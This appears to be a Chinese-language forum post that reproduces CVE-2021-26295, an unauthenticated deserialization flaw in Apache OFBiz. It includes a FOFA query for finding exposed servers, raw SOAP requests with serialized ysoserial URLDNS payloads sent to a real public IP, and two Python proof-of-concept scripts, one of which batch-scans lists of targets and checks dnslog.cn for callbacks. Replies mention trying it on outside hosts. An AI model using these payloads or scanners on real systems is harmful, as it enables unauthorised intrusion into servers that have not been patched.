Apache OFBiz (CVE-2021-26295)漏洞复现

0x00 漏洞描述

OFBiz是基于Java的Web框架,包括实体引擎,服务引擎和基于小部件的UI。
近日,Apache OFBiz官方发布安全更新。Apache OFBiz 存在RMI反序列化前台命令执行,未经身份验证的攻击者可以使用此漏洞来成功接管Apache OFBiz,建议相关用户尽快测试漏洞修复的版本并及时升级。

0x01 影响版本

影响版本:Apache OFBiz < 17.12.06

0X02 FOFA:

app="Apache_OFBiz"

0x03 漏洞复现

环境搭建

docker run -d -p 811:8080 -p 8443:8443  opensourceknight/ofbiz

该漏洞环境无web界面,所以直接构造数据包,经测试GET,POST都可以:

GET /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 875

<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/"><ying:cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff7400106c6c7a6d316f2e646e736c6f672e636e74000071007e0005740004687474707078740017687474703a2f2f6c6c7a6d316f2e646e736c6f672e636e78</ying:cus-obj></ying:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>

POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 875

<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/"><ying:cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff7400103364616269352e646e736c6f672e636e74000071007e0005740004687474707078740017687474703a2f2f3364616269352e646e736c6f672e636e78</ying:cus-obj></ying:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>

payload生成(dns回显)

首先使用反序列化工具ysoserial生成dns回显的payload:
将生成的payload放入文档

java -jar .\ysoserial.jar URLDNS http://3dabi5.dnslog.cn >1.txt

然后使用以下代码将数据的每个字节都转换hex

import binascii
filename = '1.txt'
with open(filename, 'rb') as f:
   content = f.read()
print(binascii.hexlify(content))

将其放入 内容中

POC-1

POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 875

<?xml version='1.0' encoding='UTF-8'?>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header/><soapenv:Body>
<ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/">
<ying:cus-obj>内容</ying:cus-obj>
</ying:clearAllEntityCaches>
</soapenv:Body>
</soapenv:Envelope>

POC-2

POST /webtools/control/SOAPService HTTP/1.1
Host: 159.75.51.64
Content-Type: test/xml
Content-Length: 1023

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> 
    	<soapenv:Header/>
		<soapenv:Body>
		<ser>
    <map-HashMap>
        <map-Entry>
            <map-Key>
                <cus-obj>内容</cus-obj>
            </map-Key>
            <map-Value>
                <std-String value="http://kif4v7.dnslog.cn"/>
            </map-Value>
        </map-Entry>
    </map-HashMap>
		</ser>
		</soapenv:Body>
		</soapenv:Envelope>

POC:依赖ysoserial

'''
Author: luckying
Date: 2021-03-24 15:01:29
LastEditTime: 2021-03-24 23:04:45
LastEditors: Please set LastEditors
Description: In User Settings Edit
FilePath: \Apache OFBiz\poc.py
'''
import binascii
import requests
import subprocess
import time
import json
import os
import sys

from requests.sessions import session
os.system('')
from requests.packages.urllib3.exceptions import InsecureRequestWarning
# 禁用安全请求警告
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
import argparse


class CVE_2021_26295():
    def title(self):
        print('''
+-----------------------------------------------------------------+
漏洞名称:Apache OFBiz rmi反序列化(CVE-2021-26295 )  
功能:单个检测,批量检测                                     
单个检测:python poc.py -u url -d domain
批量检测:python poc.py -f 1.txt
+-----------------------------------------------------------------+                                     
''')

    def trans(self, dnslog_url):
        cmd = subprocess.Popen(
            f'java -jar .\ysoserial.jar URLDNS {dnslog_url}',
            bufsize=0,
            executable=None,
            stdin=None,
            stdout=subprocess.PIPE,
            stderr=None,
            preexec_fn=None,
            close_fds=False,
            shell=True)
        #读取输出内容
        data = cmd.stdout.read()
        #字符转换
        hex_data = binascii.hexlify(data).decode("utf-8")
        return hex_data
    #漏洞检测
    def poc(self, target_url, hex_data):
        url = f'{target_url}/webtools/control/SOAPService'
        headers = {'Content-Type': 'text/xml'}
        data = f'''<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ying:clearAllEntityCaches xmlns:ying="http://ofbiz.apache.org/service/"><ying:cus-obj>{hex_data}</ying:cus-obj></ying:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>'''
        try:
            res = requests.post(url=url,
                                headers=headers,
                                data=data,
                                verify=False,
                                timeout=10)
            return res.status_code
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)

    #随机获取域名
    def dnslog_getdomain(self, session):
        url = 'http://www.dnslog.cn/getdomain.php?t=0'
        try:
            res = session.get(url, verify=False, timeout=10)
            return res.text
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)

    #获取dnslog响应信息
    def dnslog_getrecords(self, session, target_url, domain, count):
        url = 'http://www.dnslog.cn/getrecords.php?t=0'
        try:
            res = session.get(url, verify=False, timeout=10)
        except Exception as e:
            print("\033[31m[x] 请求失败 \033[0m", e)
        if domain in res.text:
            if count == 0:
                print(f'[+] 获取到{domain}信息,目标 {target_url} 可能存在漏洞')
            else:
                print(f'[{str(count)}] 获取到{domain}信息,目标 {target_url} 可能存在漏洞')

    def main(self, target_url, dnslog_url, file):
        count = 0  #批量检测时计数用
        self.title()
        #手动输入域名
        if target_url and dnslog_url:
            hex_data = self.trans(dnslog_url)
            print('[+] 正在请求dnslog--------')
            status_code=self.poc(target_url, hex_data)
            if status_code==200:
                print('[+] 响应值为200,请自行查看dnslog信息')
        #随机获取dnslog域名
        elif target_url:
            session = requests.session()
            domain = self.dnslog_getdomain(session)
            #print(f'获取随机域名:{domain}')
            hex_data = self.trans(f'http://{domain}')
            self.poc(target_url, hex_data)
            self.dnslog_getrecords(session, target_url, domain, count)
        elif file:
            for url in file:
                count += 1
                target_url = url.replace('\n', '')  #取消换行符
                session = requests.session()
                domain = self.dnslog_getdomain(session)
                time.sleep(1)
                hex_data = self.trans(f'http://{domain}')
                self.poc(target_url, hex_data)
                self.dnslog_getrecords(session, target_url, domain, count)


if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('-u',
                        '--url',
                        type=str,
                        default=False,
                        help="目标地址,带上http://")
    parser.add_argument("-d",
                        '--dnslog',
                        type=str,
                        default=False,
                        help="dnslog地址,带上http://")
    parser.add_argument("-f",
                        '--file',
                        type=argparse.FileType('r'),
                        default=False,
                        help="批量检测,带上http://")
    args = parser.parse_args()
    run = CVE_2021_26295()
    run.main(args.url, args.dnslog, args.file)

POC:不依赖ysoserial:

T00ls论坛的不依赖ysoserial的poc

import requests
import sys
import subprocess
from urllib3.exceptions import InsecureRequestWarning


def trans(s):
    return "%s" % ''.join('%.2x' % x for x in s)

if __name__ == '__main__':
        print('''

=========================================
  ____  ______ ____  _       _____   ____   _____ 
 / __ \|  ____|  _ \(_)     |  __ \ / __ \ / ____|
| |  | | |__  | |_) |_ ____ | |__) | |  | | |     
| |  | |  __| |  _ <| |_  / |  ___/| |  | | |     
| |__| | |    | |_) | |/ /  | |    | |__| | |____ 
 \____/|_|    |____/|_/___| |_|     \____/ \_____|
                                                           
    Powered by 0x141 Team ShimizuKawasaki
=========================================

                ''')
        host = sys.argv[1]
        comForKey = sys.argv[2]
        data = bytes(comForKey, encoding = "utf8")
        hex_data = trans(data)
        headers = {'Content-Type': 'text/xml'}
        post_data = '''<?xml version='1.0' encoding='UTF-8'?><soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header/><soapenv:Body><ns1:clearAllEntityCaches xmlns:ns1="http://ofbiz.apache.org/service/"><ns1:cus-obj>aced0005737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c770800000010000000017372000c6a6176612e6e65742e55524c962537361afce47203000749000868617368436f6465490004706f72744c0009617574686f726974797400124c6a6176612f6c616e672f537472696e673b4c000466696c6571007e00034c0004686f737471007e00034c000870726f746f636f6c71007e00034c000372656671007e00037870ffffffffffffffff740010%s74000071007e0005740004687474707078740017687474703a2f2f%s78</ns1:cus-obj></ns1:clearAllEntityCaches></soapenv:Body></soapenv:Envelope>''' % (hex_data,hex_data)
        requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning)
        res = requests.post('%s/webtools/control/SOAPService' % host , data = post_data , headers = headers , verify=False)
        if  res.status_code == 200 :
                print("已经测试完成,请检查你的dnslog: " + comForKey)

image

最后,有啥错误的地方,请指出

4 Likes

我补个exp图吧。外网测试两个没成功。本地来一个吧 :joy:

windows我还没来得及测试

有yso的话win/linux理论应该通用。